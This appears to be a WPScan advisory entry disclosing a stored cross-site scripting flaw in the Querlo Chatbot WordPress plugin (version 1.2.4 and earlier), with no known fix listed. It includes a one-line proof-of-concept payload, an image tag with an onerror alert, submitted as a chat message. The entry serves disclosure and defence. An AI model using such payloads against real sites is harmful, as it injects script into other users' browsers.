WordPress Plugin Vulnerabilities
Querlo Chatbot <= 1.2.4 - Stored Cross-Site Scripting
Description
The plugin does not escape or sanitize chat messages, leading to a stored Cross-Site Scripting vulnerability.
Proof of Concept
Submit the following in the chat message:
"#"><image src=/ onerror=alert("XSS")>"
See the XSS in Querlo.
Affects Plugins
No known fix References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Rafael B.
Submitter
Rafael B.
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-06-26 (about 5 months ago)
Added
2023-06-26 (about 5 months ago)
Last Updated
2023-06-26 (about 5 months ago)
WPScan 